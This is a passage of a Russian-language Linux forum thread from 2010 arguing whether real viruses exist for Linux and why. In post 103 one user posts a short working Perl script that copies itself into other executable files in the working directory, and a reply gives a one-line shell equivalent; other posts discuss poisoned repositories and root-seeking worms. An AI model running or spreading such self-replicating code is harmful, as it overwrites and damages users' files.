91

drBatty

а он работает?

В командной строке надо передать путь заражаемого файла. Или --help, чтобы вывести справку.

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!

92

AndreyMust19 пишет:

drBatty

а он работает?

В командной строке надо передать путь заражаемого файла. Или --help, чтобы вывести справку.

...э... ну вы сами понимаете...

...то, что такой "вирус" можно на любом ЯП написать, хоть на sed. Речь-то не об этом....

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

93

А о чем? Изъясняйтесь яснее тогда, когда говорите "вирусов нет".

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!

94

Слушайте, а о чем вы тут спорите? Я уже потерял нить!.. Так есть ли вирусы, ли нет?

95

Shlomo пишет:

Так есть ли вирусы, ли нет?

скорее всего есть, только их не распространяют дальше некого НИИ или как там это у америкосов называется?

96

Termo пишет:

три года назад по стране пробежался Penetrator, который попортил не один компьютер.
у меня есть его исходный код, который я получил, распаковав исполняемый файл.

Termo пишет:

я сейчас что, должен сохранить этот код в файл virus.pl, сделать его исполняемым, поднять ему права и поместить в автозагрузку?

и

Termo пишет:

ОС: Ubuntu 9.04

Этим всё сказано  wink

97

AndreyMust19 пишет:

А о чем? Изъясняйтесь яснее тогда, когда говорите "вирусов нет".

а вы не знаете что такое вирус?  oO
а я от вас такого не ожидал...
вот что пишет вика: (выделение не моё)

Компью́терный ви́рус — разновидность компьютерных программ, отличительной особенностью которой является способность к размножению  (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру. По этой причине вирусы относят к вредоносным программам.

Неспециалисты ошибочно относят к компьютерным вирусам и другие виды вредоносных программ — трояны, программы-шпионы и даже спам.[1] Известны десятки тысяч компьютерных вирусов, которые распространяются через Интернет по всему миру.

Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).

И где в вашей программе саморепликация? Изменить файл, так, что-бы он выполнял другие функции, можно и без вашего скрипта, ручками. Вот только к вирусам это не имеет абсолютно никакого отношения.

Когда я говорю "вирусов нет", я выражаюсь вроде достаточно ясно?

Shlomo пишет:

Так есть ли вирусы, ли нет?

вирусов в Linux нет, есть другое вредоносное ПО.

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

98

drBatty пишет:

есть другое вредоносное ПО.

Например, "пользователь обыкновенный"  :cool:

"Теория и практика иногда сталкиваются. Когда это случается, теория проигрывает. Всегда." (с) Линус Торвальдс

99

Teocally, Александёр! Злой ты!)))

100

drBatty
Под вирусом почему-то в последнее время подразумевают любое вредоносное ПО вообще.
Мне кажется, в этой теме тоже.

И где в вашей программе саморепликация?

Если бы была, я бы сказал - "Запускайте только с правами рута".
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!

101

AndreyMust19 пишет:

Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

Камрад!
А ты-то зачем мыло съел???
Это ж безумно интересно - давай выкладывай!
Ну чего, теперь тебя уговаривать?!!

Давно уже не забавно наблюдать торжество отрицательного отбора.

102

Teocally пишет:

Например, "пользователь обыкновенный"

репутации у вас нет - плюсануть не получится. потому просто +500 ab

AndreyMust19 пишет:

Под вирусом почему-то в последнее время подразумевают любое вредоносное ПО вообще.
Мне кажется, в этой теме тоже.

это не относится ко мне. и в этой теме тоже.

AndreyMust19 пишет:

Если бы была, я бы сказал - "Запускайте только с правами рута".
Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

зачем сразу с правами рута? что мешает заражать программы пользователя в огороженном загоне? я вовсе не подбиваю вас на:

drBatty пишет:

Создание и распространение вредоносных программ (в том числе вирусов) преследуется в России согласно Уголовному Кодексу РФ (глава 28, статья 273).

но выложить саморазмножающуюся программу без вредоносных функций вполне можно

(ну предупредите на всякий: на боевых серверах с правами рута не запускать, хотя... ССЗБ).

Если программа просто размножается, и при этом не пытается ничего портить, и не повышает свои привилегии, она никак не попадает под статью.

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

103

#!/usr/bin/perl
open(I,$0); $sign = <I>;
while ($filename = glob("./*")) {
    if (-f $filename && -x $filename && -w $filename && open(FILE, $filename) && <FILE> eq $sign) {
        @strings = <FILE>;
        @virstr[0..10] = <I>;
        open(FILE,">$filename");
    print FILE $sign;
        print FILE @virstr;
        print FILE @strings;
        };
};

Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!

104

AndreyMust19 пишет:

Копирует себя в начало всех файлов в рабочем каталоге, которые начинаются с той же строчки, что и сам.
Не буду говорить, что это только для ваших учебных целей.

так и знал - поиск привинтили ac
это конечно круто, но чем это отличается от rm -rf /.string* или скажем

file: virus.sh

#!/bin/sh
find . -type f -name "string*" -exec cat ./virus.sh '{}' >/tmp/123 && mv /tmp/123 '{}' \;

тоже "заражает, и дописывает себя в начало каждого файла", только тут одна строчка shell, не считая sha-bang.

На sed несложно реализовать и работоспособность приложений, и даже скрытность. Но нерешёнными остаются практически все вопросы, которые я поставил в самом начале темы:

1) путь заражения: как попадает вирус на компьютер? в большинстве случаев через кряк. Антивирусы эффективны лишь на 19%, а против новых и старых полиморфных - бессильны, и потому не в состоянии остановить заражение. А как вы думаете, зачем пишут кряки? От любви к искусству? Вы отстали от времени лет на 15 - это бизнес. А в Linux'е кряков нет. И фотошопа нет, и кряка к нему нет тоже...

2) возможность заражения: в Windows файлы ни принадлежат никому, т.е. принадлежат всем - у них нет хозяина. А ещё у них нет прав. Точнее есть - сразу все и для всех. В Linux все системные файлы принадлежат руту, и юзер их не в состоянии изменить. Кроме того, в Linux очень неудобно работать с правами рута, в венде - с точностью наоборот.

3) невозможность скрыться: в linux изначально присутствуют доступные утилиты мониторинга. Это не венда, с невнятным svchost или fdjjs534mdf.sys - каждый процесс имеет свою легко находимую точку старта, и даже если юзер сомневается, он всегда может набрать man fdjjs534mdf.sys, и узнать всё необходимое (и/или погуглить). Кроме того, нет реестра, с его многочисленными (десятки их, если не сотни) точками старта.

4) разные дистрибутивы: универсальный вирус подо все дистры написать практически невозможно, а спец-вирус например для убунты никогда не наберёт критической для эпидемии массы (даже если все 100% компов будут под Linux'ом. Но ведь уж точно не 100% будут под убунтой. Сомневаюсь, что хоть 20%).

5) форма передачи. вирус должен очень плотно взаимодействовать с системой, надеюсь это понятно. Но как мы будем распространять наш вирус? бинарником? не пойдёт - ядро-то у всех разное, что уж говорить про ПО. В виде исходников? Ага, юзеры совсем идиоты? В виде пакетов? см. п4.

вы предложили решение разве что для п5, но ваше решение противоречит п3 - юзер заглянет в ваш скрипт, а если не поймёт, то и не запустит. Возможно это решает п4, но лишь для тех юзеров, которые одновременно:

  1. устанавливают софт в свой юзерспейс

  2. запускают там всякую непонятную гадость

я сомневаюсь, что таких много.

п1, п2, и п3 так и остались нераскрытыми...

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

105

п1, п2, и п3 так и остались нераскрытыми...

Элементарно - официальные пакеты с репозитория, подвергнутые "обработке" или с неофициальных репозиториев.
По крайней мере удалить все файлы из рабочего каталога - очень диструктивная функция.

Я уже неоднократно говорил что файловые вирусы невыгодны для linux. Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!

106

AndreyMust19 пишет:

п1, п2, и п3 так и остались нераскрытыми...

Гораздо мощнее будут сетевые черви, атакующие root-процессы и трояны в пакетах, требующие root-привелегий.

примерчик можно? или Вы начитались статей про червь(вирус) Морриса?

107 (01.09.2010 12:30:14 отредактировано AndreyMust19)

А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
http://ru.wikipedia.org/wiki/Вредоносны … ных_систем
И пожалуйста, не стройте из себя незнайку.

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!

108

AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:

сама возможность массового заражения и распространения маловероятна, и ни один из вирусов, написанных для Linux (включая перечисленные ниже), никогда не размножался успешно на большом количестве машин. Кроме того, уязвимости в безопасности, которые эксплуатируются вирусами, были установлены и исправлены вскоре после (или прежде) того, как использовавшие их вирусы начали распространяться. Таким образом вирусы не несут в себе большой угрозы, если система обновляется регулярно.

А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?

Сомневаюсь, даже больше могу добавить- получить доступ могут всё, даже 3х летний ребёнок путём битья по клавиатуре и угадав пароль и потом тем же методом свалив систему. Тут главное стоит учесть, а получит ли червь права рута?   :rolleyes:
По своему примеру скажу- Linux использую уже 4 года, фаервол выключен по умолчанию, антивирусное ПО вообще отсутствует. Не разу ещё система не падала по вине ВИРУСА, только по своей по воли моей фантазии и издевательств над ней, причём в большинстве случаев, всё просто восстанавливалось. С таким же успехом, на Windows, при настроеном фаерволе, при Ноде или Каспере (обновляющимся регулярно!!) систему валил какой нить Парит или ещё ВинЧих, несколько раз в месяц.

Вирусы на ЛИНУКС ау, вы где?? Может вам мой IP дать, ну а порты все открыты ВЕЛКОМ.  :lol:

Я разобьюсь о собственное непонимание волнообразно и неправильно, обломки зубов будут Вам маяками, Вы в мальгани, а у меня кошки разгуливают по камере и каждое нажатие клавиши сопровождается праздником, просто не мешайте маленькому человеку наслаждаться его маленьким счастьем.

109 (01.09.2010 14:39:53 отредактировано Termo)

AndreyMust19 пишет:

Вы что, думаете, я бы стал выкладывать скрипт, который на самом деле сам размножается?

выкладывай, я не против...  ag

у меня есть образ раздела с ОС, так что переустановить его - дело двух минут.
готов рискнуть! ag

ПатреГ не любит Gnome...

110

Да и изучить можно wink.

111 (01.09.2010 15:05:57 отредактировано Hvzh)

AndreyMust19 пишет:

А вы сомневаетесь, что червь, получив root-привилегии может повалить систему?
И пожалуйста, не стройте из себя незнайку.

Еще раз повторюсь - пример в студию! И пожалуйста, не стройте из себя знайку

112

step_slim пишет:

AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:

Если уж цитируете, то цитируйте без отрыва от контекста:

Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...

113

Iskan Der пишет:
step_slim пишет:

AndreyMust19
Из Вашей же ссылке, как отче наш до посинения читаем:

Если уж цитируете, то цитируйте без отрыва от контекста:

Из-за большой ограниченности, а также по причине многообразия дистрибутивов и относительно низкой распространённости самой ОС на компьютерах в мире, сама возможность массового заражения и распространения маловероятна...

"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

114

Hvzh пишет:

"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.

115

Iskan Der
Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай. Текст делится на введение, основную часть и заключение, я выбрал главную часть и её процитировал.

Hvzh пишет:

"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

Соглашусь с Германом, может пересчитаем сколько у кого серверов, как бе обоснуйте под тем что цитируете, уважаемый Iskan Der.

Я разобьюсь о собственное непонимание волнообразно и неправильно, обломки зубов будут Вам маяками, Вы в мальгани, а у меня кошки разгуливают по камере и каждое нажатие клавиши сопровождается праздником, просто не мешайте маленькому человеку наслаждаться его маленьким счастьем.

116

Iskan Der пишет:
Hvzh пишет:

"Из-за большой ограниченности" - это как? На серверах мало стоит или на компьютерах эндъюзеров?

Какая разница? Количество серверов по сравнению с клиентскими машинками все равно очень мало.

То есть, Вы хотите сказать,  что вирусоделы прежде всего опираются на количество клиентских машин?

117

step_slim пишет:

Если уж я цитирую, то я расставляю акценты, а не дублирую всё как попугай

Только такое выборочное цитирование искажает смысл исходного утверждения, что не есть правильно, на мой взгляд.

Hvzh пишет:

То есть, Вы хотите сказать,  что вирусоделы прежде всего опираются на количество клиентских машин?

Разумеется. На серверах совершенно другой уровень требований к безопасности и, соотвественно, мер по ее обеспечению. Что касается клиентских машин, то:
1. их гораздо больше (т.е. больше целевая аудитория)
2. уровень их защиты значительно ниже (иногда вообще никакой)
3. квалификация обслуживающего персонала (т.е. пользователей) тоже не намного выше плинтуса.
Одним словом, заразить такие машины значительно легче, а большое их число позволяет обеспечить достаточную массовость заражения.

118

Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)

119

Hvzh пишет:

Iskan Der,
На Ваш взглад вирус (или червь) - это просто поделки начинающих программеров или законченных программистов? (это я к тому кто и зачем их пишет)

Вирус вирусу рознь. Есть и тупые поделки начинающих, но много о себе возомнивших кулхацкеров, попадаются и вполне профессиональные изделия.

120 (01.09.2010 16:03:10 отредактировано AndreyMust19)

Если червь не рушит систему, значит это его собственная смерть.
Можно хоть весь жесткий диск отформатировать или удалить документы. Но тем самым гадость проявит себя и ее смерть незамедлительна.
Поэтому все вредоносы-долгожители стараются не проявлять себя и оставлять следов. Но это не значит что они не могут нарушить работоспособность системы.
Гораздо выгоднее получить управление через  систему удаленного администрирования, зомбировать или расслылать спам.
И еще. Безопасность - не значит "отсутствие опасности".

В Linux вы имеете компьютер.
В Windows компьютер имеет вас!